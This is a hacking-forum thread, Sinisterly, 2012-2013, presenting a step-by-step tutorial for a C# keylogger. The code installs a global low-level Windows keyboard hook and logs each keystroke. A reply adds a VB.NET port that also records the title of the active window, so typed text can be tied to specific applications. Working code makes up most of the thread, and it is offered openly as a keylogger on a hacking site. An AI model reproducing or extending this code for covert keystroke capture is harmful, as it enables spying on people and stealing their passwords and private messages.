Tutorial [C#]Simple keylogger with Keyboardhook

Tutorial [C#]Simple keylogger with Keyboardhook - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: Tutorial [C#]Simple keylogger with Keyboardhook (/Thread-Tutorial-C-Simple-keylogger-with-Keyboardhook)

[C#]Simple keylogger with Keyboardhook - Prestige - 11-25-2012

Hello Anarchyforums,

as promised here is my tut for a simple C# keylogger:

Step 1: first start a new C# project in visual studio

Step 2: Add a simple textbox and 2 buttons name the texbox Log and the buttons Hook and Unhook, set the textbox readonly to true as you don't want to write in it and put unhook enabled to false

Spoiler: Preview: (warning big)

Step 3: Create a new class named Keyboard (right click solution (SimpleKeyloggerTut in my case) and go to add -> claas -> Keyboard)

Step 4: add the following line of code to the top of your class (above the namespace):

Code:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

Step 5: Now you created the class for the Keyboard hook add the following lines of code:

Code:
		private delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); 

  [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  private static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

  [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  [return: MarshalAs(UnmanagedType.Bool)]
  private static extern bool UnhookWindowsHookEx(IntPtr hhk);

  [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  private static extern IntPtr GetModuleHandle(string lpModuleName);

These lines call an external windows dll included in the .net framework needed to hook the keyboard

Step 6: Add the following variables to your class:

Code:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static KeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

Step 7: Now let's set the hook I'll describe this code line by line
First create the Method (void):

Code:
public static void Hook()
{
}

second get the current process by doing this:

Code:
using (Process curProcess = Process.GetCurrentProcess())

Now we'll get the current processmodule (our program):

Code:
using (ProcessModule curModule = curProcess.MainModule)
{
}

Now hook the keyboard to this process (do this within the brackets of the using curmodule):

Code:
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);

Step 8: Create a unhook method to stop the hook, this simply calls the method from the windows dll:

Code:
public static void UnHook()
{
	UnhookWindowsHookEx(_hookID);
}

Step 9: under the keyboard class add the following class, this is simply an event handler to report keypresses to the main forum

Code:
public class KeyEventArgs : EventArgs
{
	int keyCode;
	public KeyEventArgs(int mKeyCode)
	{
		keyCode = mKeyCode;
	}

	public int KeyCode
	{
		get
		{
			return keyCode;
		}
	}
}

Step 10: Now in the main class add the following line of code to handle keypresses:

Code:
public delegate void KeyDownHandler(object myObject, KeyEventArgs myArgs);
 public static event KeyDownHandler OnKeyDown;

Step 11: Now create the hookcallback to get the keycode on keydown and call an keydown event:

Code:
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
	if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
	{
		int KeyCode = Marshal.ReadInt32(lParam);
		KeyEventArgs KeyArgs = new KeyEventArgs(KeyCode);
		OnKeyDown(null, KeyArgs);
	}
	return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

Step 12: Now you're done with making the class now hook your keyboard on key press:

First let's make a void wich handles the key down:

Code:
private void OnKeyDown(object sender, KeyEventArgs e)
{
}

In our case we would want it to write it to the text file so we add the following:

Code:
Log.AppendText((Keys)e.KeyCode + "");

Log is my textbox and appendtext will add text to it, keycode is the code of the key wich is pressed and we would get the key by using (char) the + "" is only because chars don't accept .ToString() as a string is basicly a char array.

Step 13: Hook and unhook your logger:
Double click your hook button to create a void name BUTTONNAME_Click (it handles the click of the button).
first add the event for keydown:

Code:
Keyboard.OnKeyDown += OnKeyDown;

now add the following code to hook the keyboard:

Code:
Keyboard.Hook();

Disable the hook button and enable the unhook button to prevent it from hooking multiple times:

Code:
Unhook.Enabled = true;
Hook.Enabled = false;

And now as last the unhook button create a void for the unhook button like you did before (double click it) and add this inside to clear the events (so it won't report double next time you hook it):

Code:
Keyboard.OnKeyDown -= OnKeyDown;

now unhook the keyboard and you are done!:

Code:
Keyboard.UnHook();

and finally enable the hook button again and disable the unhook button:

Code:
Unhook.Enabled = false;
Hook.Enabled = true;

I hope you enjoyed this tutorial for more info add me on skype: T09.nl or on msn: arh-t09@live.com.

[Image: 1tVGi]

PS: I know I suck at explaining but I hope it was clear for you guys

RE: [C#]Simple keylogger with Keyboardhook - Daaksin - 11-26-2012

Are you going to credit where this code came from or..?

RE: [C#]Simple keylogger with Keyboardhook - Prestige - 11-26-2012

(11-26-2012, 05:44 AM)Daaksin Wrote: Are you going to credit where this code came from or..?

Sure: credits to prestige for the code and for microsoft for the dll files for keyboardhook

RE: [C#]Simple keylogger with Keyboardhook - Prestige - 12-04-2012

(12-04-2012, 08:13 AM)Scophie Wrote: Hey, you have done a good jod, so you made it yourself? How can I know the keylogger is safe?

1. It's a tutorial
2. This needs lot's of editing if you want to use it to hack someone it's an example of keyhook like spam text if someone presses f1

RE: [C#]Simple keylogger with Keyboardhook - Ultimatum - 12-04-2012

Heh, Windows 8, nice. How did you get the start bar there?

RE: [C#]Simple keylogger with Keyboardhook - Prestige - 12-04-2012

(12-04-2012, 08:55 AM)Ultimatum Wrote: Heh, Windows 8, nice. How did you get the start bar there?

Start 8 cracked xD

RE: [C#]Simple keylogger with Keyboardhook - YP. - 12-07-2012

Thank you for the share! Good job!
Hopefully I can learn something from this Smile

RE: [C#]Simple keylogger with Keyboardhook - SQLi - 07-23-2013

Good job, here's a Visual Basic .NET port:

Keyboard.vb

Code:
	Public Class Keyboard
		Private Const WH_KEYBOARD_LL As Integer = 13
		Private Const WM_KEYDOWN As Integer = &H100
		Private Shared _proc As KeyboardProc = HookCallback
		Private Shared _hookID As IntPtr = IntPtr.Zero
		Private Delegate Function KeyboardProc(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr

		<DllImport("user32.dll", CharSet := CharSet.Auto, SetLastError := True)> _
		Private Shared Function SetWindowsHookEx(idHook As Integer, lpfn As KeyboardProc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
		End Function

		<DllImport("user32.dll", CharSet := CharSet.Auto, SetLastError := True)> _
		Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
		End Function

		<DllImport("user32.dll", CharSet := CharSet.Auto, SetLastError := True)> _
		Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
		End Function

		<DllImport("kernel32.dll", CharSet := CharSet.Auto, SetLastError := True)> _
		Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
		End Function

		Public Delegate Sub KeyDownHandler(myObject As Object, myArgs As KeyEventArgs)
		Public Shared Event OnKeyDown As KeyDownHandler

		Public Shared Sub Hook()
			Using curProcess As Process = Process.GetCurrentProcess()
				Using curModule As ProcessModule = curProcess.MainModule
					_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0)
				End Using
			End Using
		End Sub

		Public Shared Sub UnHook()
			UnhookWindowsHookEx(_hookID)
		End Sub

		Private Shared Function HookCallback(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
			If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
				Dim KeyCode As Integer = Marshal.ReadInt32(lParam)
				Dim KeyArgs As New KeyEventArgs(KeyCode)
				RaiseEvent OnKeyDown(Nothing, KeyArgs)
			End If
			Return CallNextHookEx(_hookID, nCode, wParam, lParam)
		End Function
	End Class

	Public Class KeyEventArgs
		Inherits EventArgs
		Private m_keyCode As Integer
		Public Sub New(mKeyCode As Integer)
			m_keyCode = mKeyCode
		End Sub

		Public ReadOnly Property KeyCode() As Integer
			Get
				Return m_keyCode
			End Get
		End Property
	End Class

Example usage

Code:
	Public Class Program
		<DllImport("user32.dll")> _
		Private Shared Function GetForegroundWindow() As IntPtr
		End Function

		<DllImport("user32.dll")> _
		Private Shared Function GetWindowText(hWnd As IntPtr, text As StringBuilder, count As Integer) As Integer
		End Function

		Private Shared Function GetActiveWindowTitle() As String
			Const  nChars As Integer = 256
			Dim handle As IntPtr = IntPtr.Zero
			Dim Buff As New StringBuilder(nChars)
			handle = GetForegroundWindow()

			If GetWindowText(handle, Buff, nChars) > 0 Then
				Return Buff.ToString()
			End If
			Return Nothing
		End Function

		Private Shared active As String = Nothing
		Public Shared Sub Main()
			AddHandler Keyboard.OnKeyDown, AddressOf OnKeyDown
			Keyboard.Hook()
			While (True)
				

			End While
			Keyboard.UnHook()
		End Sub

		Private Shared Sub OnKeyDown(sender As Object, e As KeyEventArgs)
			If active <> GetActiveWindowTitle() AndAlso Not String.IsNullOrEmpty(active) Then
				active = GetActiveWindowTitle()
				Console.WriteLine()
				Console.WriteLine()
				Console.WriteLine(active)
				Console.Write(ChrW(e.KeyCode))
			ElseIf String.IsNullOrEmpty(active) Then
				active = GetActiveWindowTitle()
				Console.WriteLine(active)
				Console.Write(ChrW(e.KeyCode))
			Else
				Console.Write(ChrW(e.KeyCode))
			End If
		End Sub
	End Class